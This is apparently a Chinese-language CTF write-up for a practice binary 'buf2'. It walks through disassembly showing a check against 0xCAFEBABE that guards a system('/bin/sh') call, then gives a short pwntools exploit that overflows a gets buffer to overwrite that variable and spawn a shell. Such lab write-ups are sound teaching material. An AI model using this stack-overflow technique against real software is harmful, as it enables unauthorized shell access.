这道题虽然简单 但是却给我了另一个解题的看法
我们先进行运行
我们看看保护
发现只有NX保护
反汇编看看
发现有shellcode 但是我们没有办法执行shellcode 因为v5 不会等于后面的
这里我原本没有想法 后面进行看看他的汇编
这里其实就很清楚了
.text:00000000004011BB mov eax, 0CAFEBABEh
把这个数值放入eax中 这个数值转换为10进制 就是 3405691582.text:00000000004011C0 cmp [rbp+var_8], rax
进行比较
.text:00000000004011C4 jnz short loc_4011D7
如果不相同 就进行跳转 到下面的loc_4011D7 这里
.text:00000000004011C6 lea rdi, command ; "/bin/sh"
如果相同 就是执行shellcode
.text:00000000004011CD mov eax, 0
.text:00000000004011D2 call _system
.text:00000000004011D7
.text:00000000004011D7 loc_4011D7: ; CODE XREF: main+72↑j
.text:00000000004011D7 mov eax, 0
如果不相同 到这里的话就是退出了
.text:00000000004011DC leave
.text:00000000004011DD retn
我们发现我们写入的应该是多少后 我们应该确定垃圾字符的大小
因为如果和以前一样 在ret上写入 就不会返回 因为这次我们写入的是字符串 不是函数
没有自带返回
所以我们还是需要通过 gets的ret返回
我们继续看看
我们在这里能发现 原来v5的地址在 rbp+var_8
进入 发现 var_8就是8 所以我们只需要将垃圾字符覆盖到 var_8
然后写入0CAFEBABEh 通过if判断 即可
这题我们就做完了
exp
from pwn import *
p=process('./buf2')
payload=b'A'*(0x20-0x08)+p64(0xCAFEBABE)
p.recvuntil("?\n")
p.sendline(payload)
p.interactive()
这里 recvuntil就是到?\n进行输入
其实就是我们输入的时候输入
这题不一样就是 通过看汇编 还有写入的是字符串